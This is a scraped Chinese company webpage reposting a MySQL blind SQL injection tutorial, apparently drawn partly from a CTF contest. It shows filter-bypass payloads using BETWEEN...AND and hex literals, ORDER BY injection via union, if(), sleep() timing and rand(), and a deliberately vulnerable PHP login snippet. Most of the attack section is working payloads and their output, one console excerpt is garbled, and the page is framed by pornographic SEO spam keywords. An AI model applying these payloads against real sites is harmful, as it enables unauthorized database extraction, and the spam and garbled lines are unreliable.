欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

怎么實現(xiàn)SQL注入Trick

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)怎么實現(xiàn)SQL注入Trick，文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。

創(chuàng)新互聯(lián)公司是一家以網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計、品牌設(shè)計、軟件運維、seo優(yōu)化、小程序App開發(fā)等移動開發(fā)為一體互聯(lián)網(wǎng)公司。已累計為成都LED顯示屏等眾行業(yè)中小客戶提供優(yōu)質(zhì)的互聯(lián)網(wǎng)建站和軟件開發(fā)服務(wù)。

between and 操作符代替比較符

操作符 BETWEEN … AND 會選取介于兩個值之間的數(shù)據(jù)范圍。這些值可以是數(shù)值、文本或者日期。

between and有數(shù)據(jù)比較功能

exp1 between min and max

如果exp1的結(jié)果處于min和max之間,`between and`就返回`1`,反之返回`0`.

示例

MySQL> select * from user;
+----+----------+----------------------------------+-------------------+
| id | username | password  | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |
| 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | 456456664@qq.com |
| 4 | add | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
+----+----------+----------------------------------+-------------------+
mysql> select * from user where id between 1 and 2;
+----+----------+----------------------------------+-------------------+
| id | username | password  | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | 456456664@qq.com |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | 456456664@qq.com |
+----+----------+----------------------------------+-------------------+

大多數(shù)數(shù)據(jù)庫都支持between and操作,但是對于邊界的處理有所不同,在mysql中,between and 是包含邊界的,在數(shù)學(xué)中也就是[min,max]

在盲注中應(yīng)用

between and可以用來在過濾了=,like, regexp,>,<的情況下使用.

mysql> select database();
+------------+
| database() |
+------------+
| test |
+------------+
1 row in set (0.00 sec)

1. 配合截取函數(shù)使用

mysql> select mid(database(),1,1) between 'a' and 'a' ;
+-----------------------------------------+
| mid(database(),1,1) between 'a' and 'a' |
+-----------------------------------------+
|   0 |
+-----------------------------------------+
1 row in set (0.00 sec)

mysql> select mid(database(),1,1) between 't' and 't' ;
+-----------------------------------------+
| mid(database(),1,1) between 't' and 't' |
+-----------------------------------------+
|   1 |
+-----------------------------------------+
1 row in set (0.00 sec)

2. 截取函數(shù)被過濾

表達式

select exp between min and max

在截取字符函數(shù)被過濾的時候,設(shè)置min和 max的方式有所改變.

測試1

mysql> select 'b' between 'a' and 'c';
+-------------------------+
| 'b' between 'a' and 'c' |
+-------------------------+
|  1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select 'b' between 'a' and 'b';
+-------------------------+
| 'b' between 'a' and 'b' |
+-------------------------+
|  1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select 'b' between 'b' and 'c';
+-------------------------+
| 'b' between 'b' and 'c' |
+-------------------------+
|  1 |
+-------------------------+
1 row in set (0.00 sec)

測試2

mysql> select 'bcd' between 'a' and 'c';
+---------------------------+
| 'bcd' between 'a' and 'c' |
+---------------------------+
|  1 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select 'bcd' between 'a' and 'b';
+---------------------------+
| 'bcd' between 'a' and 'b' |
+---------------------------+
|  0 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select 'bcd' between 'b' and 'c';
+---------------------------+
| 'bcd' between 'b' and 'c' |
+---------------------------+
|  1 |
+---------------------------+
1 row in set (0.00 sec)

由測試可知,當(dāng)exp為單個字符時三種區(qū)間返回值都是1,但是當(dāng)exp為字符串時,當(dāng)區(qū)間為a-b時,返回值為0.區(qū)間為a-c或者b-c時,返回值為1.

也就是在進行字符串比較時,只會包含一邊的值,也就是[b,c).

所以在實際利用時,就要注意區(qū)間的范圍.

實際測試

mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
|  1 |
+--------------------------------+
1 row in set (0.05 sec)
...
mysql> select database() between 't' and 'z';
+--------------------------------+
| database() between 't' and 'z' |
+--------------------------------+
|  1 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'u' and 'z';
+--------------------------------+
| database() between 'u' and 'z' |
+--------------------------------+
|  0 |
+--------------------------------+
1 row in set (0.00 sec)

由結(jié)果可知,第一個字符為t

第二個字符

mysql> select database() between 'tatest
+----------------------------------+test
| database() between 'ta' and 'tz' |test
+----------------------------------+
|    1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'te' and 'tz';
+----------------------------------+
| database() between 'te' and 'tz' |
+----------------------------------+
|    1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 'tf' and 'tz';
+----------------------------------+
| database() between 'tf' and 'tz' |
+----------------------------------+
|    0 |
+----------------------------------+
1 row in set (0.00 sec)

剩下的以此類推.最終為test.

3. 單引號被過濾

between and還支持16進制,所以可以用16進制,來繞過單引號的過濾.

測試

mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
+----------------------------------+
| database() between 0x61 and 0x7a |
+----------------------------------+
|    1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z';
+----------------------------------+
| database() between 0x74 and 0x7a |
+----------------------------------+
|    1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z';
+----------------------------------+
| database() between 0x75 and 0x7a |
+----------------------------------+
|    0 |
+----------------------------------+
1 row in set (0.00 sec)

了解order by

order by是mysql中對查詢數(shù)據(jù)進行排序的方法，
使用示例

select * from 表名 order by 列名(或者數(shù)字) asc；升序(默認升序)
select * from 表名 order by 列名(或者數(shù)字) desc；降序

這里的重點在于order by后既可以填列名或者是一個數(shù)字。舉個例子：

id是user表的第一列的列名，那么如果想根據(jù)id來排序，有兩種寫法:

select * from user order by id;
selecr * from user order by 1;

order by盲注

結(jié)合union來盲注

這個是在安恒杯月賽上看到的。

后臺關(guān)鍵代碼

$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
 $hit="username error!";
}else{
 if ($row['password'] === $password){
 $hit="";
 }else{
 $hit="password error!";
 }
}

payload

username=admin' union 1,2,'字符串' order by 3

sql語句就變?yōu)?/p>

select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;

這里就會對第三列進行比較，即將字符串和密碼進行比較。然后就可以根據(jù)頁面返回的不同情況進行盲注。
注意的是最好加上binary，因為order by比較的時候不區(qū)分大小寫。

基于if()盲注

需要知道列名

order by的列不同，返回的頁面當(dāng)然也是不同的，所以就可以根據(jù)排序的列不同來盲注。

示例：

order by if(1=1,id,username);

這里如果使用數(shù)字代替列名是不行的，因為if語句返回的是字符類型，不是整型。

不需要知道列名

payload

order by if(表達式,1,(select id from information_schema.tables))

如果表達式為false時，sql語句會報ERROR 1242 (21000): Subquery returns more than 1 row的錯誤，導(dǎo)致查詢內(nèi)容為空，如果表達式為true是，則會返回正常的頁面。

基于時間的盲注

payload

order by if(1=1,1,sleep(1))

測試結(jié)果

select * from ha order by if(1=1,1,sleep(1)); #正常時間
select * from ha order by if(1=2,1,sleep(1)); #有延遲

測試的時候發(fā)現(xiàn)延遲的時間并不是sleep(1)中的1秒，而是大于1秒。

最后發(fā)現(xiàn)延遲的時間和所查詢的數(shù)據(jù)的條數(shù)是成倍數(shù)關(guān)系的。

計算公式：

延遲時間=sleep(1)的秒數(shù)*所查詢數(shù)據(jù)條數(shù)

我所測試的ha表中有五條數(shù)據(jù)，所以延遲了5秒。如果查詢的數(shù)據(jù)很多時，延遲的時間就會很長了。

在寫腳本時，可以添加timeout這一參數(shù)來避免延遲時間過長這一情況。

基于rang()的盲注

原理不贅述了，直接看測試結(jié)果

mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
| 9 | NULL |
| 6 | NULL |
| 5 | NULL |
| 1 | dss |
| 0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
| 1 | dss |
| 6 | NULL |
| 0 | dasd |
| 5 | NULL |
| 9 | NULL |
+----+------+

可以看到當(dāng)rang()為true和false時，排序結(jié)果是不同的，所以就可以使用rang()函數(shù)進行盲注了。
例

order by rand(ascii(mid((select database()),1,1))>96)

上述就是小編為大家分享的怎么實現(xiàn)SQL注入Trick了，如果剛好有類似的疑惑，不妨參照上述分析進行理解。如果想知道更多相關(guān)知識，歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

標(biāo)題名稱：怎么實現(xiàn)SQL注入Trick
本文地址：http://aaarwkj.com/article22/gopocc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供網(wǎng)站收錄、網(wǎng)站制作、標(biāo)簽優(yōu)化、小程序開發(fā)、軟件開發(fā)、網(wǎng)站設(shè)計

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明來源： 創(chuàng)新互聯(lián)

網(wǎng)站優(yōu)化排名
日韩av有码在线播放| 日韩一级片精品视频在线| 国产aaa级日本一区二区三区| 激情综合婷婷中文字幕| 国产精品一区二区久久| 亚洲一区二区三区不卡视频| 韩国黄色三级一区二区| 91免费人成网站在线观看| 国产又黄又粗的视频| 91免费视频精品麻豆| 欧美亚洲午夜一二综合| 午夜一区二区精品视频国产| 亚洲一区二区中文字幕av| 18禁免费无遮挡免费视频| 欧美日韩另类综合91| 欧美三级亚洲三级日韩三级| 日本精品视频一区二区三区| 日本av东京热在线播放| 久久婷婷激情亚洲综合色| 熟女自拍偷拍视频播放| 夜夜爽精品国产亚洲av成人| 国产精品国产三级区别| 亚洲女人天堂av在线| 日韩不卡一区二区在线观看| 偷怕自拍在线免费观看| 亚洲精品a在线观看av| 国产精品xxxx国产精品| 乱色精品熟女一区二区三区| 久久久久久精品国产免费| jvid视频在线观看免费| 亚洲av最近在线观看| 女同久久精品国产精品天堂99| 人成在线免费视频网站| 精品欧美熟妇高潮喷水特黄| 日韩一级黄色片在线播放| 久久精品亚洲欧美激情| 人人爽人人妻人人澡| 手机不卡在线观看av| 亚洲欧美日韩国产在线一区| 国产免费av高清在线| 日本成人大片在线观看|